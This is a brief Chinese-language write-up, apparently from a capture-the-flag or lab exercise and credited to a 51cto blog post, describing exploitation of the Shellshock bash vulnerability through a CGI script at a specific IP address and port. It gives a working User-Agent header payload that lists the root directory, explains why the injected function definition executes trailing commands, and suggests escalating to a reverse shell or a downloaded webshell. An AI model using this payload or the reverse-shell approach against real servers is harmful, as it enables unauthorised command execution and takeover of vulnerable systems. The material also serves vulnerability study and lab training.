尝试拼接，访问关键文件成功
http://219.153.49.228:43684/cgi-bin/poc.cgi
抓包修改user-Agent,进行利用
() { :;};echo; /bin/ls /
() { :;}; 解释特殊变量时进行结束并执行后面的shell
这样就在根目录下 拿到 key.txt文件了，修改下shell就可以查看key.txt文件内容
另外也可以尝试下反弹shell，直接执行或者远程下载bash类型的反弹shell文件，拿到webshell
原文：https://blog.51cto.com/13854262/2499165